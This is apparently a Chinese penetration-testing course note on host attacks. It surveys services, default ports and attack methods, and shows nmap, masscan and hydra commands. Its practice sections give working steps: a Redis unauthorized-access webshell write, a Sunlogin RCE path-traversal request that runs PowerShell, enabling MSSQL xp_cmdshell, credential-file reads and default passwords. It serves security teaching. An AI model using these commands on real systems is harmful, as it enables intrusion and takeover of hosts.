DAY27:主机渗透测试

DAY27:主机渗透测试

1、主机渗透的概述

DAY27:主机渗透测试_第1张图片

1.1、主机渗透基础

所面对的对象都有哪些

主机:Linux、Windows(ubuntu系列、Centos系列、红帽系列、麒麟系列等等操作系统)

终端:手机、路由器、IOT设备、安全设备等等

请添加图片描述

1.2、所需要了解的名词都有哪些

端口:可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机 内部或交换机路由器内的端口,不可见。例如计算机中的80端口、21端口、23端口等。物理端口又称为接口,是可见端口,计算机背板的RJ45网口,交换机路由器集线器等 RJ45 端口。电话使用RJ11插口也属于物理端口的范畴

服务:以提供某种持续化状态的进程或者应用,例如Web服务是提供持续化的80端口的应用服务

权限:为了划分用户所能操作的范围,根据能操作的内容会分为不同的权限,例如普通用户权限,管理员 权限,超级管理员权限等等

指纹:是指某个设备或者软件所携带的本类设备所特有的一些特征,例如如何判断是 windows 或者 Linux

1.3、主机渗透常见命令

查看主机存活性:ping 
查看主机是否开放端口:telnet 
查看连接情况:netstat –an 
查看IP地址:ipconfig(windows下)、ifconfig(linux下)、ip addr
查看hex:cat /etc/shadow
查看系统配置:uname -an
查看可登录用户:cat /etc/passwd
查看所有执行命令的文件:cat .bash_history
查看历史登录信息:last
开机执行文件:cat .profile
回收站:cd /tmp
开机计划任务文件:/etc/rc.log
文件:pa -axu ;cd /proc/ ;ls
环境变量:cat environ
定时任务:crontab -1
windows下的查看:type \文件路径
添加新用户:net localgroup Administrators 你要加入的用户名 /add
/etc/apparmor.d/usr.sbin.mysqld
show variables like '%datadir%';
show global variables like '%secure%';

1、secure_file_priv   修改为空
2、/etc/apparmor.d/usr.sbin.mysqld 添加/var/www/html/** rw,
3、给html目录777权限

1.4、主机渗透常见用工具

Nmap
Hydra
MSF
nessus

2、主机渗透常用端口

1、 端口的banner信息

2、 端口上运行的服务

3、 常见应用的默认端口

2.1、服务默认端口

公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;

21号端口:文件传输协议 - 控制端口
22号端口:SSH (Secure Shell)- 远程登录协议
23号端口:Telnet 终端仿真协议 - 未加密文本通信
25号端口:SMTP (简单邮件传输协议)
80号端口:超文本传输协议 - 用于传输网页
443号端口:超文本传输安全协议 - 超文本传输协议 over TLS/SSL (加密传输)
445号端口:SMB文件共享
3306号端口:MySQL 数据库系统
3389号端口:远程桌面协议(RDP)

注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;

2.2、FTP服务

ftp服务我分为两种情况

第一种是使用系统软件来配置,比如IIS中的 FTP文件共享或Linux中的默认服务软件;

第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;

默认端口
20(数据端口);
21(控制端口);
69(tftp小型文件传输协议)

2.3、SMB服务

Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;

Samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。

默认端口:

137(主要用户NetBIOS Name Service;NetBIOS名称服务)
139 (NetBIOS Session Service,主要提供samba服务) 
弱口令(爆破工具采用hydra)hydra -l username -P

2.4、LDAP服务

LDAP:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;

这些问题的出现也都是因为配置不当而造成的。

默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令

2.5、SSH 服务

SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;

默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞

2.6、Telnet 服务

Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;

比如cisco、华三,深信服等厂商的设备;可以通过 telnet 弱口令控制这些设备;

默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;

2.7、RDP 服务(远程桌面服务)

远程桌面连接:作为 windows 上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;

一种是内网,需要先将目标机3389端口反弹到外网;

另一种就是外网,我们可以直接访问;

当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;

默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机

2.8、VNC服务

VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;

默认端口:5900+桌面ID(5901;5902) 
攻击方式: 爆破:弱口令 
认证口令绕过: 
拒绝服务攻击:(CVE-2015-5239) 
权限提升:(CVE-2013-6886)

2.9、Web 服务

HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;

注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;

2.10、IIS 服务

默认端口:80/81/443 
攻击方式:
IIS PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上 
短文件名泄漏:这种一般没啥影响 
解析漏洞:详细见apache服务

2.11、apache、tomcat 等服务

默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;

2.12、中间件:weblogic

默认端口:7001
攻击方式:
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123)
portaladmin guest
Congsole后台部署webshell
Java反序列化

2.13、MySQL服务

默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@” 密码任意

2.14、MSSQL服务

默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
利用MSSQL提权

2.15、Redis 服务

redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库

关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问

默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
redis数据库写文件
config set dir /var/www/html
set xxx "/n/n"
config set dbfilename xxx.php
save

2.16、ES服务

elasticsearch:非关系型数据库
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;

3、思路总结:

DAY27:主机渗透测试_第2张图片DAY27:主机渗透测试_第3张图片
DAY27:主机渗透测试_第4张图片

4、主机渗透常用工具

4.1、nmap 扫描工具

kali 自带工具,扫描可调速,有详细信息划分,扫描等级等等,扫描利器

Nmap使用指南 · Ywc’s blog (yinwc.github.io)

nmap -v -A scanme.nmap.org				
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80

DAY27:主机渗透测试_第5张图片

4.2、masscan 扫描工具

据说 2小时跑完互联网,真的不试一试嘛

kali 自带工具,速度极快,但不会显示具体信息,可以配合 telnet 使用

masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
scan some web ports on 10.x.x.x at 10kpps
masscan --nmap
list those options that are compatible with nmap
masscan -p80 10.0.0.0/8 --banners -oB 
save results of scan in binary format to 
masscan --open --banners --readscan  -oX 
read binary scan results in  and save them as xml in 

DAY27:主机渗透测试_第6张图片

4.3、hydra 九头蛇弱口令爆破工具

kali 自带工具,可以爆破任意指定端口弱口令,需要字典,会将符合条件的输出

DAY27:主机渗透测试_第7张图片DAY27:主机渗透测试_第8张图片

hydra -L dic/username.txt -P dic/password.txt ssh://your ip:22

4.4、破解hscan、x-scan、超级弱口令、S-Xing 弱口令扫描工具

极力推荐超级弱口令工具,自带字典,端口一键式扫描爆破,傻瓜式操作
DAY27:主机渗透测试_第9张图片

5、主机渗透漏洞利用

5.1、端口扫描

端口扫描:
nmap -p 1-65535 -T4 -A -v ip

DAY27:主机渗透测试_第10张图片DAY27:主机渗透测试_第11张图片

5.2、操作系统扫描

nmap -O ip

DAY27:主机渗透测试_第12张图片

5.3、端口爆破利用实战—ssh爆破

DAY27:主机渗透测试_第13张图片

5.4、端口爆破利用实战—MySQL爆破

hydra、超级弱口令检查工具都可

hydra.exe -L user.txt -P passwd.txt mysql://ip:3306

DAY27:主机渗透测试_第14张图片

5.5、端口爆破利用实战—MSSQL爆破

DAY27:主机渗透测试_第15张图片

5.6、端口爆破利用实战—Tomcat爆破

DAY27:主机渗透测试_第16张图片DAY27:主机渗透测试_第17张图片

6、实战

6.1、redis

nmap -A -Pn -v -p1-65535  target
nmap ip

DAY27:主机渗透测试_第18张图片

扫描到端口

DAY27:主机渗透测试_第19张图片

爆破成功
DAY27:主机渗透测试_第20张图片

找到的插件,使用redis-cli.exe文件,打开cmd
DAY27:主机渗透测试_第21张图片

成功,写一个webshell上传

config set dir /var/www/html
set xxx "/n/n"
config set dbfilename xxx.php
save

因为在 /var/www/html,所以可以直接执行,蚁剑连接 getshell
DAY27:主机渗透测试_第22张图片

6.2、向日葵 rce

目标为提前连接好向日葵的主机(漏洞版本向日葵是<=11.0.0.33版本的)

使用 nmap 扫描,一般在40000朝上,发现49156是相应端口
DAY27:主机渗透测试_第23张图片

浏览器访问ip+端口号+cgi-bin/rpc?action=verify-haras(获取session值CID)一个一个端口尝试

http://yourip:port/cgi-bin/rpc?action=verify-haras

DAY27:主机渗透测试_第24张图片

{"__code":0,"enabled":"1","verify_string":"xNgzTtNIdKYq6v4djTx1wvUfJ1Ph51kX","code":0} 

拿到CID-添加payload和cookie-发送,构建payload:

http://192.168.182.13:49156/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami

DAY27:主机渗透测试_第25张图片

成功

6.3、未授权利用实战

DAY27:主机渗透测试_第26张图片

redis-cli -h 10.91.214.205
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell ""
save

https://blog.51cto.com/u_15127519/4564997

6.4、MSSQL的提权

DAY27:主机渗透测试_第27张图片

启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行:
EXEC master.dbo.xp_cmdshell '命令'

你可能感兴趣的:(linux,网络,系统安全,安全,网络安全)